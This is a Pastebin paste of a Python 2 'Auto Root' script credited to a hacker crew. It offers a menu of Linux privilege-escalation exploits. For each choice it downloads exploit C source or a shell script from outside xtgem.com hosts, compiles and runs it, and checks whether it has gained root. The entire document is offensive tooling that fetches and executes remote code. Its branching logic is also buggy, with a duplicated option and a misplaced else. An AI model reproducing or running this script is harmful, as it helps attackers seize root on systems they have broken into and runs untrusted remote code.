stoker

Auto Root v2

Jan 27th, 2014
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.12 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Changing The Description of a tool Won't Make You a Programmer!
  3.  
  4.  
  5. import os,urllib,sys
  6.  
  7. print '''
  8. ____  ____   __   _  _    _  _  ____  __     __  __  ____  ____  ____  ____     __   _  _  ____  __     ____   __    __  ____
  9. (_  _)(  __) / _\ ( \/ )  ( \/ )(  _ \(  )   /  \(  )(_  _)(  __)(  _ \/ ___)   / _\ / )( \(_  _)/  \  (  _ \ /  \ /  \(_  _)
  10.  )(   ) _) /    \/ \/ \  )  (  ) __// (_/\(  O ))(   )(   ) _)  )   /\___ \ /    \) \/ (  )( (  O )   )   /(  O )(  O ) )(  
  11. (__) (____)\_/\_/\_)(_/  (_/\_)(__)  \____/ \__/(__) (__) (____)(__\_)(____/  \_/\_/\____/ (__) \__/   (__\_) \__/  \__/ (__)
  12.  
  13.  
  14.  
  15.      # Python Autoroot script
  16.      # Author: Muhammad Adeel aka Innoxent Stoker
  17.      # FB: facebook.com/xtoker
  18.      # Mail: [email protected]
  19.      # Greetz: *******************************************************************************
  20.                *******************************************************************************  
  21.                **   Xploiters | Pakistan Haxors Crew  |Hax Arena | Cba Team | Penta Sec     **
  22.                **                                                                           **
  23.                **                                                                           **
  24.                **      AnonGhost | MLA | And All Pakistani & Muslim HaxOrs                  **
  25.                *******************************************************************************
  26.                *******************************************************************************
  27.      
  28.      # We'll Keep Updating Script Aswell as we got Any Other Exploit.....
  29.      
  30.      # 1 - Linux Kernel 2.6.37-3-2013
  31.      # 2 - Multi - 2005-13
  32.      # 3 - Linux Kernel , 3.63.8.9-2013
  33.      # 4 - AutoRoot,  Multi 2003-2010
  34.      # 5 - 3.4-2014 Exploit
  35.      # 6 - Close
  36. '''
  37.  
  38. # Welcome to the Original Game :D .....
  39.  
  40. select = raw_input('Choose an Exploit: ')
  41.  
  42. # First Try....
  43.  
  44. if select == '1':
  45.   link = 'http://expliters.xtgem.com/2.6.37-3-2013.c'
  46.   try:
  47.     stoker = urllib.urlopen(link)
  48.     pakistani = open(link.split('/')[-1], 'w')
  49.     pakistani.write(stoker.read())
  50.     pakistani.close()
  51.     stoker.close()
  52.   except:
  53.     print("\tExploit Downloading Failed.\n")
  54.   try:
  55.     os.system("gcc -o 2.6.37-3-2013 2.6.37-3-2013.c")
  56.     os.system("./2.6.37-3-2013")
  57.     uid = os.getuid()
  58.     if uid == 0:
  59.       print("\t[*] Rooted SuccesFully.")
  60.     else:
  61.       print("[*] Exploit Fail.")
  62.   except:
  63.     print("\nExploit Execution Error Occured. Try Another one!")
  64.  
  65. # Second Try....
  66.  
  67. elif select == '2':
  68.   link = 'http://expliters.xtgem.com/exploit.c'
  69.   try:
  70.     stoker = urllib.urlopen(link)
  71.     pakistani = open(link.split('/')[-1], 'w')
  72.     pakistani.write(stoker.read())
  73.     pakistani.close()
  74.     stoker.close()
  75.   except:
  76.     print("\tExploit Downloading Failed.\n")
  77.   try:
  78.     os.system("gcc -o exploit exploit.c")
  79.     os.system("./exploit")
  80.     uid = os.getuid()
  81.     if uid == 0:
  82.       print("\t[*] Rooted SuccesFully.")
  83.     else:
  84.       print("[*] Exploit Fail.")
  85.   except:
  86.     print("\nExploit Execution Error Occured. Try Another one!")
  87.  
  88. # Third Try....
  89.  
  90. elif select == '3':
  91.   link = 'http://expliters.xtgem.com/3.63.8.9-2013.c'
  92.   try:
  93.     stoker = urllib.urlopen(link)
  94.     pakistani = open(link.split('/')[-1], 'w')
  95.     pakistani.write(stoker.read())
  96.     pakistani.close()
  97.     stoker.close()
  98.   except:
  99.     print("\tExploit Downloading Failed.\n")
  100.   try:
  101.     os.system("gcc -o 3.63.8.9-2013 3.63.8.9-2013.c")
  102.     os.system("./3.63.8.9-2013")
  103.     uid = os.getuid()
  104.     if uid == 0:
  105.       print("\n[*] Rooted SuccesFully.")
  106.     else:
  107.       print("[*] Exploit Fail.")
  108.   except:
  109.     print("\nExploit Execution Error Occured. Try Another one!")
  110.  
  111. # Forth Try....
  112.  
  113. elif select == '4':
  114.   link = 'http://expliters.xtgem.com/autoroot.sh'
  115.   try:
  116.     stoker = urllib.urlopen(link)
  117.     pakistani = open(link.split('/')[-1], 'w')
  118.     pakistani.write(stoker.read())
  119.     pakistani.close()
  120.     stoker.close()
  121.   except:
  122.     print("\tExploit Downloading Failed.\n")
  123.   try:
  124.     os.system("sh autoroot.sh")
  125.     uid = os.getuid()
  126.     if uid == 0:
  127.       print("\n[*] Rooted SuccesFully.")
  128.     else:
  129.       print("[*] Exploit Fail.")
  130.   except:
  131.     print("\nExploit Execution Error Occured. Try Another one!")
  132.  
  133. elif select == '5':
  134.   link = 'http://expliters.xtgem.com/autoroot.sh'
  135.   try:
  136.     stoker = urllib.urlopen(link)
  137.     pakistani = open(link.split('/')[-1], 'w')
  138.     pakistani.write(stoker.read())
  139.     pakistani.close()
  140.     stoker.close()
  141.   except:
  142.     print("\tExploit Downloading Failed.\n")
  143.   try:
  144.     os.system("sh autoroot.sh")
  145.     uid = os.getuid()
  146.     if uid == 0:
  147.       print("\n[*] Rooted SuccesFully.")
  148.     else:
  149.       print("[*] Exploit Fail.")
  150.   except:
  151.     print("\nExploit Execution Error Occured. Try Another one!")
  152.  
  153. if select == '5':
  154.   link = 'http://toolsroom.xtgem.com/scanner/pwn.c'
  155.   try:
  156.     stoker = urllib.urlopen(link)
  157.     pakistani = open(link.split('/')[-1], 'w')
  158.     pakistani.write(stoker.read())
  159.     pakistani.close()
  160.     stoker.close()
  161.   except:
  162.     print("\tExploit Downloading Failed.\n")
  163.   try:
  164.     os.system("gcc -o pwn pwn.c")
  165.     os.system("./pwn")
  166.     uid = os.getuid()
  167.     if uid == 0:
  168.       print("\t[*] Rooted SuccesFully.")
  169.     else:
  170.       print("[*] Exploit Fail.")
  171.   except:
  172.     print("\nExploit Execution Error Occured. Try Another one!")
  173.  
  174. # The End....
  175.  
  176. else:
  177.   print '''
  178. _____           _          _  ______         _____ _        _            
  179. /  __ \        | |        | | | ___ \      /  ___| |      | |            
  180. | /  \/ ___   __| | ___  __| | | |_/ /_   _  \ `--.| |_ ___ | | _____ _ __
  181. | |    / _ \ / _` |/ _ \/ _` | | ___ \ | | |  `--. \ __/ _ \| |/ / _ \ '__|
  182. | \__/\ (_) | (_| |  __/ (_| | | |_/ / |_| | /\__/ / || (_) |   <  __/ |  
  183. \____/\___/ \__,_|\___|\__,_| \____/ \__, | \____/ \__\___/|_|\_\___|_|  
  184.                                       __/ |                              
  185.                                      |___/                                                            
  186.  '''
  187.   ex = raw_input("Hit 'ENTER' to Exit.")
  188.   sys.exit()
Add Comment
Please, Sign In to add comment